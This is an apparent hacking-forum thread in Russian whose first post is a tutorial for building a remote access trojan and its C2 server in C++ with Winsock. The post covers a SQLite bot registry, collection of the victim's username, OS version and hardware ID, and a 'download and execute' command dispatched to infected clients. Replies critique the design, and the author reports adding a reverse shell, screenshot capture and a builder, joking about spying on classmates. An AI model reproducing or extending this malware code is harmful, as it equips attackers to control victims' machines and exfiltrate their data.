• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья пишем RAT и С2 на winsock

shkolnick1337

(L3) cache
Пользователь
Регистрация
04.05.2020
Сообщения
158
Реакции
106
Депозит
0.16
Предварительная подготовка:

Изначально при создании клиент-серверного приложения, а именно это представляет из себя крыска, мы будем начинать с проектирования базы данных для хранения информации о наших ботах, такой как имя атакуемого пользователя, того как называется его пк(а это очень даже пригодится), и какой-нибудь уникальной метки, которая будет достаточно уникальной для того что бы мы могли считать разными машины, где будут повторяться первые две записи, что бы сами не запутались, и не запутали наш сервер, отдавая команду одному боту - которую может перехватить другой.

Для создания баз данных sqlite3 я пользуюсь достаточно удобной и бесплатной программой DB Browser (SQLite). Скачайте ее или используйте любой доступный вам аналог. Для начала нам нужно посмотреть на интерфейс ее и оценить бесконечные вариации возможностей:

Screenshot_1.png


Красная стрелочка это кнопка для создания новой базы данных, синяя указывает но то где мы будем создавать различные ключи для хранения нашей информации.

Screenshot_2.png


Смело тыкаем на кнопку - создания базы данных, придумываем имя для нашей базы, у меня она будет называться «bots.db» если у вас как то по другому и вы ничего не понимаете в программировании, просто делайте как это делаю я и всё будет хорошо. Нажимаете кнопку «Сохранить» и у вас автоматически откроется новое окно где вы можете:

Screenshot_3.png


Синяя стрелка - придумать имя таблицы в этой базе данных, у меня она будет называться «BOT»; Красная стрелка - добавить поля в эту таблицу, что бы сохранять в будущем информацию именно в них. Фиолетовая стрелка вам в качестве бонуса, тут делать ничего не нужно, просто она покажет какой «sql» запрос сгенерировала программа, для того что бы создать таблицу и поля, может если вы крутой хакер, вы можете добавить в неё дополнительные команды на свой вкус.

Сейчас распишу за что отвечает каждое конкретное поле: NOMER - это число которое будет не равно нулю, и будет отвечать за номер элемента в массиве сокетов SOCKETS в самом коде сервера. То есть, каждой записи в таблице будет соответствовать свой сокет в этом массиве, так я обычно делаю, что бы избавиться от лишней головомойки. Если вы лично считаете что это плохо, то я бы готов услышать альтернативные варианты и научится чему то новому, но пока это так и будет продолжаться пока не будет доступных альтернатив, тем более у нас не убер-вафле-панцер, а нормальный такой ратник, где мы общаемся с клиентом онлайн.

Про поля USERNAME, OSVER, HWID, OTVET вы уже знаете, они будут текстовыми, потому что так пока что мне хочется и это надо в будущем. В данной программе выставляем всё как у меня и нажимаем на кнопку сохранить, а так же сохраняем в интерфейсе нашу базу данных, и двигаемся дальше...

Screenshot_5.png


Во вкладке «Данные» вы можете увидеть редактор информации в нашей созданной таблице, где каждому полю, столбцу в полях будут соответствовать различные записи, которые вы можете добавить самостоятельно (синяя стрелка), либо же удалить их (красная стрелка соответственно).

Screenshot_7.png


Поле которое я очертил красным будет в будущем содержать записи с вашими ботами, которые удалить, просмотреть, но это уже не важно, мы двигаемся дальше.
Начинаем создавать проект, я буду использовать VS 2015, компилировать проект под x86 архитектуру.

Screenshot_8.png


Создам проект, называем его как-нибудь очень по крутому, так делают настоящие хакеры (шучу конечно).

Screenshot_9.png


Выбираем проект Win32, тыкаем кнопку - «ОК», затем в открывшимся окне, нажимаем кнопку «Далее», в следующем окне, вы делаете все как я в ам скажу, по порядку - тыкаем где синяя стрелка на «Консольное приложение», потом где Фиолетовая стрелка на «Предварительно скомпилированный заголовок», затем убираем галочку на «Проверках жизненного цикла», и там где красная стрелка - отмечаем «Пустой проект», нажимаем на кнопку «Готово».

Screenshot_10.png



Коденг:

Секунды загрузки и вы переноситесь в редактор, где мы будем прибывать большую часть нашего времени. Немного пройдёмся по интерфейсу, а дальше начнём писать код сервера.

Screenshot_11.png

Слева на право по порядку - Оранжевая стрелка (не лимонно-лаймовая) открывает нам контекстное меню с очень полезной кнопкой «Собрать решение», Зеленная стрелка с выпадающим списком из того что вы можете сделать с вашим проектом, например - создать версию для дебага или релизную для использования в дикой природе, или выбрать архитектуру для вашего приложения например x86 или X64; Фиолетовая стрелка - то место где будут открываться ваши файлы - что то наподобие прокаченного текстового редактора для кода. Бирюзовая стрелка указывает на файл проекта, если жмякнуть на неё правой кнопкой мыши, то выпадает контекстное меню с очень полезными настройками под кнопкой «Свойства», это будут свойства нашего проекта, в которые мы обязательно ещё залезем в рамках данной статьи.

Синяя стрелка указывает на папку(хотя это не папка) «Заголовочные файлы» в ней мы будем как бы хранить заголовки нашего проекта(*.h;*.hpp и так далее), их будет не много, но это важно. Красная стрелка указывает на «Файлы исходного кода», где как бы мы будем хранить код нашего сервера или ратника(клиента), файлы будут добавляться согласно расширению (*.c;*.cpp и так далее).

Жмякнем правой кнопкой на «Файлы исходного кода», и выберем поле «Добавить» - «Создать элемент»,

Screenshot_12.png


Выбираем поле «Файл С++» и нажимаем кнопку «Добавить», и у нас открывается новая страница в редакторе, где мы и будем творить бесчинства, дальнейший текст уже требует обладанием больших навыков чем чтение, так что ребята, дальше разжёвывать для 0 больше не могу.
Мы приступаем к созданию сервера! Урааа!

C++:
#include "winsock.h"
#pragma comment(lib, "ws2_32")
int main()
{

}

Добавляем заголовочный файл сокетов для вин32, добавляем в линковку ws2_32.lib, и создаём функцию main.
Ну что ребят, давайте придумаем согласно нашей таблице первые структуры данных, первые переменные и функции для обработки поступающих данных.
Я объявлю новую глобальную переменную перед функцией мейн - массив сокетов DWORD SOCKETS[10000], в которые буду сохранять по номерам из базы данных, сокеты подключившихся клиентов, например так:
«Если значение NOMER в базе данных которому соответствует USERNAME, OSVER, HWID равно 1, то сокет подключения сохраняется в SOCKETS[1], если номер равен 2, то естественно SOCKETS[2], и так далее - SOCKETS[NOMER]. Примерно логику работы подключений вы поняли, теперь нам нужно создать структуру данных отвечающую за регистрацию пользователя. А теперь к ней у старших по форуму и кодингу могут быть претензии, в данном продукте мне очень важно что бы передавались имена пользователя, версии ос и хвид в чарах, так как на самом деле, проект пишется под linux, а клиент под виндовс тут будет написан только в рамках этой статьи (будьте лапушками, это не повлияет никак на работоспособность данного софта).
Объявляем структуру для клиентов:

C++:
struct CLIENTS
{
    SOCKET NUMBER;
    char USERNAME[100];
    char OSVER[100];
    char HWID[100];
};

Теперь мы можем переделать наш массив SOCKETS[10000] под массив из структур CLIENTS и будет он выглядеть так:

C++:
CLIENTS SOCKETS[10000];

Правда же получается удобно и замечательно? Мне тоже так кажется, теперь мы можем хранить данные ботов в озу, и обращаться к ним при манипуляциях с базой данных и тому подобных операциях. Так как в рамках данной статьи мы работаем на сокетах, то давайте попробуем, инициализировать необходимые структуры для winsock, а так же поставить наш сервер на прослушивание входящих сообщений, от клиентов:

C++:
SOCKET sListen;
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(80);
int sizeofaddr = sizeof(addr);
sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeofaddr);
listen(sListen, SOMAXCONN);
{

}

Наш сервер будет прослушивать все входящие соединения со всех IP на данном компьютере(дедике, сервере) на восьмидесятом порту. У вас получится как у меня на скриншоте:

Screenshot_13.png


Далее нам будет необходимо поставить создать ещё одну структуру, которая будет отвечать за протокол общения нашего сервера с клиентами, и назовём её просто:

C++:
struct CMDiDATA
{
    DWORD CMD;
    char DATA[1000];
};

Первое поле структуры у нас отвечает за номер команды - например хейдшейк у нас будет с номером 0, а запрос на загрузку файла - 1. Так мы сможем отличать типы данных которые к нам приходят во втором поле - DATA, а в ней мы можем хранить другие структуры, например CLIENTS. Давайте представим что к нам подключился новый клиент, после подключения, он отправляет нам «рукопожатие», в виде структуры СMDiDATA, где CMD = 0, а DATA = CLIENTS, CLIENTS мы можем разобрать на данные USERNAME, OSVER, HWID, в соответствии с максимальным номером + 1 в таблице базы данных которую мы создавали, присвоить полю NUMBER в структуре CLIENTS сокет и сохранить эту структуру как зарегистрированную в массив SOCKETS под новым номером, что бы далее с ней играться как нам вздумается. Давайте это и сделаем!

Код:
for (;;) //цикл приема клиентов - он будет ожидать выполнения accept
{
    sockaddr_in addr; //в другой раз объясню зчм
    //при подключении нового клиента каждый раз наша функция accept будет срабатывать
    //и новый клиент будет регистрироваться под сокетом newConn
    SOCKET newConn = accept(sListen, (sockaddr*)&addr, &sizeofaddr);
    {
        CMDiDATA indata; //создаем структуру отвечающую за протокол
        CLIENTS client; //создаем структуру отвечающую за инфу о клиенте
        memset(&indata, 0, sizeof(CMDiDATA)); //почистим
        memset(&client, 0, sizeof(CLIENTS)); //почистим
        recv(newConn, (char*)&indata, sizeof(CMDiDATA), 0); //прием сообщения от клиента
            
        if (indata.CMD == 0) //если CMD = 0, то это хендшейк
        {
            memcpy(&client, indata.DATA, sizeof(CLIENTS)); //копируем DATA в структуру client
        }
    }
}

Далее мы просто смотрим чему будет равно поле CMD, если будет равно нулю, то мы можем сказать точно, что внутри должны находиться данные со структурой CLIENTS, а значит мы сможем спокойно скопировать данные DATA в client и работать с полученными данными уже в базе данных. Немного отступлю и расскажу о том что данный код в первозданном виде - небезопасен, потому что атакующий ваш ратник может отослать sql инъекцию в данных структурах, и просто дропнуть вашу таблицу. Будьте аккуратны, потому что я вам в рамках данной статьи рассказываю о построении серверной и клиентской части независимо от безопасности, данный код служит примером, и ни чем более.

Перейдём к нашим баранам. Теперь мы можем получить данные о клиенте, всего лишь обращаясь к полям этой структуры:

C++:
client.HWID;
client.OSVER;
client.USERNAME;

Закинем в папку с нашим проектом два файла отвечающих за работу с нашей базой данных, давайте добавим их в проект

Screenshot_14.png

Screenshot_15.png


В заголовочные файлы мы добавим sqlite3.h
В файлы исходного кода добавим соответственно sqlite3.с
В файле Source.cpp, где мы пишем код - добавим объявление заголовочного файла
#include “sqlite3.h”
И приступаем к написанию запросов к нашей базе данных, будем выяснять - а зарегистрировали ли уже этот клиент, а если он не зарегистрирован, то какой крайний номер в этой базе данных записей, и когда узнаем этот номер, мы прибавим к нему единичку и зарегистрируем в этой базе данных (интерпола) новичка (как я на этом форуме), под новым номером, и запишем в неё эти данные.
Во первых при инициализации WSADataв коде, мы еще добавим открытие базы данных:

C++:
sqlite3* db;
sqlite3_open("bots.db", &db);

Что бы могли считывать и отправлять в неё данные c помощью sql запросов. А далее мы пишем код по регистрации нашего бота в базе данных, я оставляю комментарии, что бы вам было максимально удобно:

Screenshot_16.png


Красная стрелка - выражение для того что бы узнать есть ли тот юзер в базе данных и если он есть - то получить номер его в таблице, Синяя стрелка - если юзер в бд присутствует, то мы обновляем его статус на онлайн, Зеленная стрелка - если юзера ещё нет в бд, то мы получаем максимальное число NOMER из таблицы, плюсуем к нему единичку, и создаём новую запись в базе данных как нового клиента. Таким образом мы завершили регистрацию юзера в базе данных, но ещё не в самой программе, что бы это сделать мы должны присвоить присвоить структуру клиента в массив клиентов:

C++:
SOCKETS[NOMER].NUMBER = newConn;
memcpy(SOCKETS[NOMER].HWID, client.HWID, sizeof(client.HWID));
memcpy(SOCKETS[NOMER].USERNAME, client.USERNAME, sizeof(client.USERNAME));
memcpy(SOCKETS[NOMER].OSVER, client.OSVER, sizeof(client.OSVER));

Screenshot_17.png


Таким образом мы сохранили нашего клиента, и можем обращаться к нему напрямую что бы получать и отправлять ему различные команды.
Давайте немного теперь коснёмся потоков в winapi, написанию консольных приложений, и о том как мы будем все это вместе миксовать на сервере...
Для того что бы наш сервер мог работать с клиентами, например, узнавать что они онлайн, и мы друг другу (в смысле я атакующий школьников и сервер) не мешали, нам нужно создать отдельную функцию в отдельном потоке, например - функцию isOnline:

Screenshot_18.png


Где мы будем, проверять статус клиентов которые онлайн - каждые десять секунд, и если им не удалось отправить сообщение, значит - наши клиенты офалайн, и работать с ними уже нельзя. Фиолетовая стрелка sql запрос на получение всех клиентов с ответом = 1, Красной стрелкой указаны две дополнительных функции, которые RecvStat - просто функция которая возращает булевое значение - тру или фолс, после того как с помощью третей функции sendint пытается отослать число 0. Синей помечены возвращаемые значения, если функция send из библиотеки winsock смогла отослать число или нет.
А функцию проверки на онлайн мы будем вызывать при инициализации нашего сервера, в отдельном потоке:

C++:
CreateThread(NULL, 0, isOnline, NULL, 0, 0);

Screenshot_19.png


Итак уже все готово в принципе для того что бы мы попробовали сделать нашего клиента, давайте создадим новый проект для него по такой же схеме как мы создавали его для сервера, и именно скопируем в Source.cpp проекта ратника все структуры которые мы объявляли для протокола и клиента, важно что бы они были идентичны, что в ратнике, что на сервере:

Screenshot_20.png


Далее мы инициализируем винсок, и конечно же попытаемся подключится к серверу:

Screenshot_21.png


Красной стрелочкой отмечен порт по которому мы подключаемся к серверу, а синей адрес в интернете, если подключение с помощью функции connect будет удачным, и равно нулю, мы пойдём дальше отсылать данные серверу в наших импровизированных структурах.

Screenshot_22.png


Красным квадратом я выделил, то как мы заполняем структуру клиента, синим как мы присваиваем структуре протокола номер команды и копируем структуру клиента в массив чаров indata.DATA. Фиолетовый квадрат у нас отсылка структуры indata на сервер. После отсылки я закрываю сокет так как он нам пока не нужен, но закрытие его нужно для тестировании функции которая будет отвечать за проверку клиента на онлайн, те закрыв данный сокет в клиенте, мы отсоединились от сервера таким вот образом и стали офлайн.
По данной ссылке я загрузил видео на мегу, для того что бы вы могли посмотреть предварительный тест приложения, в данном виде.
Если вам не интересно, скажу то что все в видео хорошо:) В клиенте мы добавляли рандомные данные, для того что бы получать действительно данные компьютера жертвы, нам нужно создать три отдельных функции для ХВИД, ЮСЕРНЕЙМА, ВЕРСИИОС. Что бы получить версию ос, я подключу заголовочный файл ntdll.h к проекту клиента, в заголовочные файлы, для того что бы я мог воспользоваться набором структур, и вытащить из PEB нужные данные.

Screenshot_23.png

Screenshot_24.png


Создаю крутую функцию что бы получить из Пеба (Почитайте про него подробнее статьи у XShar) номер версии ос:

Screenshot_25.png


Далее создаю ещё две функции для получения имени юзера и хвида, всё в принципе идеально, и можно уже вызвать эти функции и отправить их серверу:

C++:
void GetHwid(char** hwid)
{
    int CPUInfo[4];
    PIP_ADAPTER_INFO pAdapterInfo;
    IP_ADAPTER_INFO AdapterInfo[16];
    DWORD dwBufLen;
    wchar_t mac[8] = { 0x1, 0x2, 0x1, 0x2, 0x1, 0x2, 0x1, 0x2 };
    __cpuid(CPUInfo, 0);
    dwBufLen = sizeof(AdapterInfo);
    GetAdaptersInfo(AdapterInfo, &dwBufLen);
    pAdapterInfo = AdapterInfo;
    do
    {
        int i;
        for (i = 0; i < 8; i++)
        {
            mac[i] = mac[i] + pAdapterInfo->Address[i];
        }
        pAdapterInfo = pAdapterInfo->Next;
    } while (pAdapterInfo);
    *hwid = (char*)realloc(*hwid, 100);
    wsprintfA(*hwid, "%x%x%x%x%x%x%x%x%x%x%x%x",
        CPUInfo[0], CPUInfo[1], CPUInfo[2],
        CPUInfo[3], mac[0], mac[1],
        mac[2], mac[3], mac[4],
        mac[5], mac[6], mac[7]);
}

void GetUsername(char** username)
{
    DWORD size = UNLEN + 1;
    *username = (char*)realloc(*username, UNLEN + 1);
    GetUserNameA(*username, &size);
}

void GetOS(char** os)
{
    PPEBME pPeb = (PPEBME)__readfsdword(0x30);
    *os = (char*)realloc(*os, sizeof(DWORD) * 12);
    wsprintfA(*os, "%d.%d.%d", pPeb->NtMajorVersion, pPeb->NtMinorVersion, pPeb->NtBuildNumber);
}

Screenshot_26.png


Так теперь считаем что с клиентом мы пока закончили, теперь вернёмся к серверу, и научим его принимать команды от нас, а так же отдавать их клиенту:) Создадим функцию, которая как и функция проверки на онлайн будет вертеться у нас в отдельном потоке:

C++:
DWORD WINAPI ConsoleReader(LPVOID param)
{
    while (TRUE)
    {
        string line = { 0 };
        getline(cin, line);
        char* mycmd = strdup(line.c_str());

        if ((mycmd[0] == 'm' && mycmd[1] == 'a' && mycmd[2] == 'n'))
        {
            //тут можно напечатать команды которые можно писать в консоли

        }
        else if ((mycmd[0] == 'c' && mycmd[1] == 'm' && mycmd[2] == 'd'))
        {
            //тут мы создаем какую нибудь команду и отсылаем ее клиенту

        }
        else if ((mycmd[0] == 'o' && mycmd[1] == 'n' && mycmd[2] == 'l'))
        {
            //печатаем всех клиентов онлайн
            PrintOnlineClients();
        }
        else if ((mycmd[0] == 'c' && mycmd[1] == 'l' && mycmd[2] == 's'))
        {
            //очистим консоль
            system("cls");
        }
    }
}

Такую функцию которая будет считывать наш ввод с клавиатуры и разбирать его на отдельные прикольные команды, и отсылать эти команды клиенту...

Screenshot_27.png


Теперь научимся парсить из консоли команду которую хотим отослать боту, для этого нужно придумать как мы будем её печатать, допустим первые три символа у нас будет «сmd», далее у нас будет номер клиента «1», следующим у нас будем какая-нибудь команда например на загрузку файла, а потом ссылка на этот файл и разделено все будет двоеточием «:»:


Давайте приступим к реализации… Создадим структуру которая будет отвечать за хранение URL, будет все тоже самое как и в CLIENT:

C++:
struct DLE
{
    char URL[1000];
};

А далее мы будем развивать парсинг команды которую мы ввели:

C++:
//тут мы создаем какую нибудь команду и отсылаем ее клиенту
if (mycmd[3] == ':') // если следуший символ двоеточие
{
    int NOMER = 0; //создаем число которое изначально будет равно нулю
    char NUMCHAR[sizeof(int)]; //создаем массив чаров по размеру числа
    memset(NUMCHAR, 0, sizeof(NUMCHAR)); //очищаем его
                
    //создаем цикл в котором будем перебирать символы в команде, пока не наткнемся на двоеточие,
    //если символ не равен двоеточию он будет записан в NUMCHAR
    int i, j;
    for (i = 4, j = 0; ; i++, j++)
    {
        if (mycmd[i] == ':')
        {
            break;
        }
        NUMCHAR[j] = mycmd[i];
    }
    //конвертируем NUMCHAR в число NOMER
    NOMER = atoi(NUMCHAR);       
    //а теперь начинаем парсить команды команд:) тафталогия но и всё равно
    if ((mycmd[i + 1] == 'd' && mycmd[i + 2] == 'l' && mycmd[i + 3] == 'e')) //download and execute - скачать и запустить
    {
        if (mycmd[i + 4] == ':') //если некст символ равен двоеточию
        {
            //то начинаем чистать в чары url наш урл из команды
            char url[1000];
            memset(url, 0, sizeof(url));
            int x, y;
            for (x = i + 5, y = 0; ; x++, y++)
            {
                if (mycmd[x] == 0) //пока строка не завершится
                {
                    break;
                }
                url[y] = mycmd[x];
            }
            if (url[0] != 0) //если первый символ массива чаров url не равен нулю
            {
                printf("\n\t zagruzka u vupolnenie url: %s...; NOMER: %d", url, NOMER);
                CMDiDATA indata; //создаем структуру отвечающую за протокол
                DLE dlecmd; //инициализируем структуру которая будет отвечать за хранение URL
                //по сути мы могли бы просто скопировать урл в indata.DATA, но я тут конечно
                //немного расширю данную функциональность структуры, так что лучше будет так
                memset(&indata, 0, sizeof(CMDiDATA)); //почистим
                memset(&dlecmd, 0, sizeof(DLE)); //почистим
                memcpy(dlecmd.URL, url, sizeof(url)); //скопируем url в структуру DLE
                indata.CMD = 1; //присвоим номер команды для загрузки файла
                memcpy(indata.DATA, dlecmd.URL, sizeof(dlecmd.URL)); //скопируем DLE в indata.DATA
                send(SOCKETS[NOMER].SOCKET, (char*)&indata, sizeof(CMDiDATA), 0); //отпарвляем протокольную структуру на клиент по номеру NOMER в массиве SOCKETS
            }
        }
    }
}

В клиенте же мы можем создать тред приема сообщений:

C++:
DWORD WINAPI RecvThread(LPVOID param)
{
    while (TRUE)
    {
        CMDiDATA indata; //создаем структуру отвечающую за протокол
        memset(&indata, 0, sizeof(CMDiDATA)); //почистим
        if (sizeof(CMDiDATA) == recv(Socket, (char*)&indata, sizeof(CMDiDATA), 0)); //прием сообщения от клиента
        {
            printf("cmd recv cmd: %d\n", indata.CMD);
            switch (indata.CMD)
            {
                case 1://если indata.cmd == 1
                {
                    DLE dle; //инициализируем структуру DLE
                    memset(&dle, 0, sizeof(dle)); //очищаем ее
                    memcpy(&dle, indata.DATA, sizeof(indata.DATA)); //и копируем в нее indata.DATA
                    printf("url: %s\n", dle.URL); //напечатаем пришедший урл
                    CreateThread(NULL, 0, DLEFUNC, (LPVOID)dle.URL, 0, 0);
                    break;
                }
                default:
                    break;
            }
        }
    }
}

И заставить программу ожидать пока этот тред не завершится:

Код:
HANDLE RECV = CreateThread(NULL, 0, RecvThread, NULL, 0, 0); //создаем тред который будет бесконечно принимать сообщения от сервера
WaitForSingleObject(RECV, INFINITE); //Бесконечно ожидаем пока этот тред работает...

А так же для того что бы обрабатывать отдельно каждую команду ведь она может выполняться бесконечно из за любых ошибок и в коде, и в командах, то мы можем создать отдельный тред в RecvThread:

C++:
CreateThread(NULL, 0, DLEFUNC, (LPVOID)dle.URL, 0, 0);

Который будет выполнять Хеллоу Ворд функцию, из чисто визуальных соображений:

C++:
DWORD WINAPI DLEFUNC(LPVOID url)
{
    char *urlarrdfile = (char*)url;
    printf("na4inau ska4ivanie faula: %s\n", urlarrdfile);
    return 0;
}

Думаю на этом можно закончить эту статью или лучше оформить как первую часть(? вообщем зависит от ваших комментариев), ведь писать можно бесконечно долго, но я считаю, что для новичков я объяснил хотя бы базовые основы Winsock, рассказал базу потоков, и создал нормальную основу клиент серверного приложения, функционал в который можно добавлять бесконечно по вашему усмотрению. Все файлы будут лежать на гитхабе, а видео с конечными испытаниями того что получилось тут. А гитхаб тут.

Будьте классными:)
 

Вложения

  • Screenshot_15.png
    Screenshot_15.png
    11.1 КБ · Просмотры: 88
  • Screenshot_20.png
    Screenshot_20.png
    9.6 КБ · Просмотры: 87
  • Screenshot_21.png
    Screenshot_21.png
    17.2 КБ · Просмотры: 84
Последнее редактирование:
Критика подьехала. Зачем делать статическое количество структур CLIENTS в массиве, тем самым храня лишние данные в памяти, если можно при подключении каждого бота выделять память динамически?
Аналогично и с остальным. Ты используешь статический буффер для хранения данных, что есть не круто и может произойти переполнение. Плюс по поводу сериализации данных между ботом и сервером: то, что ты здесь показал - дичайший костыль и непрофессионализм, лучше было бы обернуть это все в какой-нибуть XML ( Как минимум, соотв. COM интерфейс есть в Windows ), или что-то более толковое.

P.S: Забивать память нулями можно более удобным образом, не тыкая memset везде. Вот так: char szSomeData[123] = { 0 };.
 
Последнее редактирование:
Критика подьехала. Зачем делать статическое количество структур CLIENTS в массиве, тем самым храня лишние данные в памяти, если можно при подключении каждого бота выделять память динамически?
Аналогично и с остальным. Ты используешь статический буффер для хранения данных, что есть не круто и может произойти переполнение. Плюс по поводу сериализации данных между ботом и сервером: то, что ты здесь показал - дичайший костыль и непрофессионализм, лучше было бы обернуть это все в какой-нибуть XML ( Как минимум, соотв. COM интерфейс есть в Windows ), или что-то более толковое.

P.S: Забивать память нулями можно более удобным образом, не тыкая memset везде. Вот так: char szSomeData[123] = { 0 };.
Отмазки подъехали :) Не воспринимай достаточно серьезно мои ответы, пропусти через призму юмора и добросердечности.
Зачем делать статическое кол-во структур CLIENTS в массиве? Затем что бы наглядно было видно человеку, что происходит в программе, пока он читает эту статью и пытается разобраться в теме которую он только что начал изучать. Я специально не стал усложнять, ведь сложно бы у меня все равно не получилось бы. Работа с базой данных, получение сокета из массива, получения определенного числа из базы данных которое бы соответствовало номеру элемента массива, мне кажется более наглядным.
Касательно работы с памятью и выделением ее динамически, да ты прав, против твоих слов я ничего не имею.
Но касательно XML, JSON, YAML и других методов для общения клиент-сервера, думаю ты совсем не прав, готов даже поспорить. Чем меньше строк, тем лучше, мы все это знаем, сниффер легко определит что за пакеты передаются именно по ключевикам. По идее лучше бы даже шифровать передачу данных, но это конечно же не в этой статье, она от энтузиаста к энтузиасту, от новичка к новичкам.
Я бы на твоем месте меня по заднице совсем за другое отшлёпал (но мы не такие, да? скинь мне свои цифры если что), по идее нужно было бы написать хороший парсер для данных которые попадают в sql запрос, делов там натворить можно было бы... Но хорошо что это учебная статья, и софт не в боевом состоянии. Что бы привести его в чувства нужно было бы дописать пару вещей, например создать еще один тред на сервере для того что бы он прослушивал входящие сообщения от пользователя, до того момента пока не отработает клиент. Пожалуй я в следующей статье, если тебе будет лично интересно опишу зачем вот такое вот нагромождение, и почему выбраны те методы, но не другие. Спасибо, за замечательные слова, ты классный.
 
Good job, waiting for part 2, because this code until now is vulnerable to buffer overflow attacks, the encryption is encrypted, the execution of tasks can be more expanded ... etc
 
Последнее редактирование:
Исходники на гитхабе будут обновляться, дабы было интереснее будет добавлен второй клиент под названием "хакер", так что вторая часть уже не за горами.
 
Пару вопросов, которые вызывают непонимание, на уровне «что?почему?зачем?».
1) Чем обусловлено использование голого TCP(на сокетах) для организации коннекта.
Чем плох HTTP со своим же кастомным протоколом поверх него(если xml/JSON не подходит). Выглядит уже на данном этапе костыльно, потому что по сути говоря, мое личное имхо - это ничем не обусловлено для этой задачи, что ты решал в статье.
2) Чем обусловлена разработка бекенда на компилируемых языках, тем более на голых сокетах в с/с++(без stl/boost). Ты же понимаешь, что это путь в никуда?
- очень сложная поддержка (вот только не надо говорить, что это не так, бекенд на голом С/С++ + сокеты и фреймворке пайтона - это как х#й с пальцем сравнивать по сложности и по наличию багов)
- очень сложно расширять. Завтра ты захочешь создать веб админку, послезавтра организовать систему прав и аккаунтов для людей в команде для параллельной работы, ещё через день создать свою империю, создавая аккаунты аутсорс воркеров, кеоторые будут на лимитированных аккаунтах отрабатывать скинутые им в акк логи.
А теперь просто представь как ты это все будешь делать без бекенд либ, на голых сокетах, вылавливая баги(судя по коду, ты не архитектор с 10 летним стажем написания веб серверов с правильно заложенной архитектурой, не создатель фреймворков, а даже если и так, то зачем ещё один, если их тысячи). Даже жаль немного. В общем в плане организации работы, вся статья больше напоминает вредные советы. Написать в таком духе можно, но зачем? И куда это все приведёт...
Ты написал это для статьи, тебе все равно что будет завтра с этим кодом, а кто то возьмёт и продолжит на базе твоего кода пилить дальше, но, как я сказал выше, это путь в никуда. Тогда вопрос, какова тогда практическая ценность этого кода? Для новичков? Для них хуже совета не придумать. Я даже за себя не уверен, что вытянул бы проект с твоей архитектурой и стал бы я этим заниматься или нет. Так что новичкам это палки в колёса..
 
Пару вопросов, которые вызывают непонимание, на уровне «что?почему?зачем?».
1) Чем обусловлено использование голого TCP(на сокетах) для организации коннекта.
Чем плох HTTP со своим же кастомным протоколом поверх него(если xml/JSON не подходит). Выглядит уже на данном этапе костыльно, потому что по сути говоря, мое личное имхо - это ничем не обусловлено для этой задачи, что ты решал в статье.
2) Чем обусловлена разработка бекенда на компилируемых языках, тем более на голых сокетах в с/с++(без stl/boost). Ты же понимаешь, что это путь в никуда?
- очень сложная поддержка (вот только не надо говорить, что это не так, бекенд на голом С/С++ + сокеты и фреймворке пайтона - это как х#й с пальцем сравнивать по сложности и по наличию багов)
- очень сложно расширять. Завтра ты захочешь создать веб админку, послезавтра организовать систему прав и аккаунтов для людей в команде для параллельной работы, ещё через день создать свою империю, создавая аккаунты аутсорс воркеров, кеоторые будут на лимитированных аккаунтах отрабатывать скинутые им в акк логи.
А теперь просто представь как ты это все будешь делать без бекенд либ, на голых сокетах, вылавливая баги(судя по коду, ты не архитектор с 10 летним стажем написания веб серверов с правильно заложенной архитектурой, не создатель фреймворков, а даже если и так, то зачем ещё один, если их тысячи). Даже жаль немного. В общем в плане организации работы, вся статья больше напоминает вредные советы. Написать в таком духе можно, но зачем? И куда это все приведёт...
Ты написал это для статьи, тебе все равно что будет завтра с этим кодом, а кто то возьмёт и продолжит на базе твоего кода пилить дальше, но, как я сказал выше, это путь в никуда. Тогда вопрос, какова тогда практическая ценность этого кода? Для новичков? Для них хуже совета не придумать. Я даже за себя не уверен, что вытянул бы проект с твоей архитектурой и стал бы я этим заниматься или нет. Так что новичкам это палки в колёса..
Попрошу, Вас, немного подождать и вы все сможете сами увидеть, как разрастается мой код, как тысячи школьников рыдают над утечками и стараются построить империи по шпионажу за одноклассниками беря на вооружение мои исходники; как обнаженные сокеты спотыкаются о костыли, как тысячи Хаунтов вопят в ночи просыпаясь от кошмаров, потому что увидели мой гитхаб. Добро пожаловать в мир костылей и велосипедов, в мир где творчество побеждает барыжничество. Видимо Вам это не понять.
 
Добавлено получение скриншотов, билдер, реверсшелл; Cервер переписан c CLI на GUI, так же имеется тестовая сборка с сервером и клиентом, не забудьте открыть порты 80, 8080.
 
Последнее редактирование:
[QUOTE = "shkolnick1337, post: 232810, member: 196712"]
Added screenshots, builder, reverse shell; The server was rewritten from the CLI to the GUI, there is also a test assembly with the server and client, do not forget to open ports 80, 8080.
[/ QUOTE]

Please refrain from using Qt in GUI, try to make it full winapi without using any third party library
 
[QUOTE = "shkolnick1337, post: 232810, member: 196712"]
Added screenshots, builder, reverse shell; The server was rewritten from the CLI to the GUI, there is also a test assembly with the server and client, do not forget to open ports 80, 8080.
[/ QUOTE]

Please refrain from using Qt in GUI, try to make it full winapi without using any third party library
in the process I will learn to make windows on win32
 
Nice tutorial, hope you have done more on this topic, i appreciate.


Предварительная подготовка:

Изначально при создании клиент-серверного приложения, а именно это представляет из себя крыска, мы будем начинать с проектирования базы данных для хранения информации о наших ботах, такой как имя атакуемого пользователя, того как называется его пк(а это очень даже пригодится), и какой-нибудь уникальной метки, которая будет достаточно уникальной для того что бы мы могли считать разными машины, где будут повторяться первые две записи, что бы сами не запутались, и не запутали наш сервер, отдавая команду одному боту - которую может перехватить другой.

Для создания баз данных sqlite3 я пользуюсь достаточно удобной и бесплатной программой DB Browser (SQLite). Скачайте ее или используйте любой доступный вам аналог. Для начала нам нужно посмотреть на интерфейс ее и оценить бесконечные вариации возможностей:

Посмотреть вложение 10511

Красная стрелочка это кнопка для создания новой базы данных, синяя указывает но то где мы будем создавать различные ключи для хранения нашей информации.

Посмотреть вложение 10512

Смело тыкаем на кнопку - создания базы данных, придумываем имя для нашей базы, у меня она будет называться «bots.db» если у вас как то по другому и вы ничего не понимаете в программировании, просто делайте как это делаю я и всё будет хорошо. Нажимаете кнопку «Сохранить» и у вас автоматически откроется новое окно где вы можете:

Посмотреть вложение 10513

